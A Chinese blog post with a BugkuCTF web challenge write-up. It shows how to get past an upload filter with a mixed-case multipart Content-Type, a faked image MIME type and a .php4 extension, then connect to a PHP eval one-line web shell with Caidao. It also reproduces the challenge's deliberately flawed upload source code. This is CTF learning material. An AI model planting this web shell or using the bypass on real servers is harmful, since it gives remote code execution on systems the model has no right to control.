BugkuCTF-WEB题文件上传

最新推荐文章于 2024-04-19 22:41:12 发布

彬彬有礼am_03

最新推荐文章于 2024-04-19 22:41:12 发布

阅读量1.6k

点赞数 2

分类专栏： # BugkuCTF-WEB 文章标签： php html5 mvc

本文链接：https://blog.csdn.net/am_03/article/details/120191214

版权

BugkuCTF-WEB 专栏收录该内容

24 篇文章 2 订阅

订阅专栏

启动场景
发现是文件上传
在这里插入图片描述
只能上传图像，不能上传PHP文件，那应该是寻找漏洞上传PHP文件
PHP文件里写入一句话木马

<?php @eval($_POST[caidao]);?>

使用burp抓包，不断尝试发现发现需要修改的地方有三个：
一个是http head里的Content-Type: multipart/form-data;
请求头部的 Content-Type 内容随便改个大写字母过滤掉比如 mulTipart/form-data （其t为大写）
Multipart里的部分字母改成大写的。

第二个是文件的的Content-Type: application/octet-stream，改成image/jpeg

第三个是文件后缀名改成php4
（依次尝试php4，phtml，phtm，phps，php5（包括一些字母改变大小写））分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml（php的别名），发现只有php4没有被过滤
在这里插入图片描述
之后上传成功

关闭代理，浏览器显示文件路径

以菜刀连接：

进入服务器后台，在根目录发现flag

打开flag
得到flag

后来有大佬教了我做事，说都上了马了自己不会扒来看嘛，哇我真的是蠢，这都没想到，直接血的教训记了下来，并扒了源码分析：
参考源码.php文件

<html>
<body>
<?php 
$flag = "flag{test}"
?>
<form action="index.php" method="post" enctype="multipart/form-data">
My name is margin,give me a image file not a php<br>
<br>
<input type="file" name="file" id="file" /> 
<input type="submit" name="submit" value="Submit" />
</form>
<?php
function global_filter(){
 $type =  $_SERVER["CONTENT_TYPE"];//$_SERVER是一个服务器端的变量数组，提供许多关于服务器及客户端请求的变量值，像客户端浏览器类型、IP地址等
 if (strpos($type,"multipart/form-data") !== False){//strpos() 函数查找字符串在另一字符串里第一次出现的位置。strpos() 函数对大小写敏感。
  $file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);//strrpos()查找字符串在另一字符串最后一次出现位置
        $file_ext = strtolower($file_ext); //strtolower() 函数把字符串转换为小写。
  if (stripos($file_ext,"php") !== False){
   American("Invalid File<br />");
  }
 }
}
//这里判断multipart/form-data用了strpos，该函数区分大小写，所以用Multipart/form-data的理由找到了，这样就能绕过里面的if
?>


<?php

global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){
 if ($_FILES["file"]["error"] == 0){
  $file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);
        $allowexts = array('jpg','gif','jpeg','bmp','php4'); //array()  创建数组
        if(!in_array($file_ext,$allowexts)){
            American("give me a image file not a php");
        }
        //这里定了个白名单，只漏了个php4出来，只能用php4的原因也找到了

  $_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext; //rand() 函数返回随机整数。
                                  //date() 函数格式操作本地日期和时间，并返回已格式操作的日期字符串。
     if (file_exists("upload/" . $_FILES["file"]["name"])){ //file_exists() 函数检查文件或目录是否存在。
      echo $_FILES["file"]["name"] . " already exists. <br />";
     }
     else{
      if (!file_exists('./upload/')){
       mkdir ("./upload/");
                system("chmod 777 /var/www/html/upload"); //system — 执行外部程序，并且显示输出
      }
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);//move_uploaded_file — 将上传的文件移动到新位置
                echo "Upload Success<br>";
                $filepath = "upload/" . $_FILES["file"]["name"];
        echo "Stored in: " ."< a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
     }
 }
}
else{
 if($_FILES["file"]["size"] > 0){
  echo "You was catched! :) <br />";
 }
}
?>
</body>
</html>

<?php
/*
$_SERVER是一个服务器端的变量数组，提供许多关于服务器及客户端请求的变量值，像客户端浏览器类型、IP地址等
通过 print_r($_SERVER)可以输出其里包含了那些内容

strpos() 函数查找字符串在另一字符串里第一次出现的位置。strpos() 函数对大小写敏感。
strrpos() - 查找字符串在另一字符串里最后一次出现的位置（区分大小写）
例如：echo strrpos("You love php, I love php too!","php"); 结果返回21

$_FILES -- $HTTP_POST_FILES [已弃用] — HTTP 文件上传变量
PHP $_FILES 是一个预定义的数组，用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传，那么 $_FILES 为二维数组；如果为多个文件上传，那么 $_FILES 为三维数组。
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型，需要浏览器提供该信息的支持，例如"image/gif"。 
$_FILES['myFile']['size'] 已上传文件的大小，单位为字节。 
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，但 用 putenv() 函数设置是不起作用的。 
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本里增加的。下面是它的说明：(它们在PHP3.0以后成了常量) 
UPLOAD_ERR_OK 
值：0; 没有错误发生，文件上传成功。 

strtolower() 函数把字符串转换为小写。

date() 函数格式操作本地日期和时间，并返回已格式操作的日期字符串。

rand() 函数返回随机整数。

file_exists() 函数检查文件或目录是否存在。
如果指定的文件或目录存在则返回 true，否则返回 false。

system — 执行外部程序，并且显示输出

move_uploaded_file — 将上传的文件移动到新位置
*/
?>

彬彬有礼am_03

关注

2
点赞
踩
6

收藏

觉得还不错? 一键收藏
2
评论
BugkuCTF-WEB题文件上传

启动场景发现是文件上传只能上传图像，不能上传PHP文件，那应该是寻找漏洞上传PHP文件PHP文件里写入一句话木马<?php @eval($_POST[caidao]);?>使用burp抓包，不断尝试发现发现需要修改的地方有三个：一个是http head里的Content-Type: multipart/form-data;请求头部的 Content-Type 内容随便改个大写字母过滤掉比如 mulTipart/form-data （其t为大写）Multipart里的部分字母
复制链接

扫一扫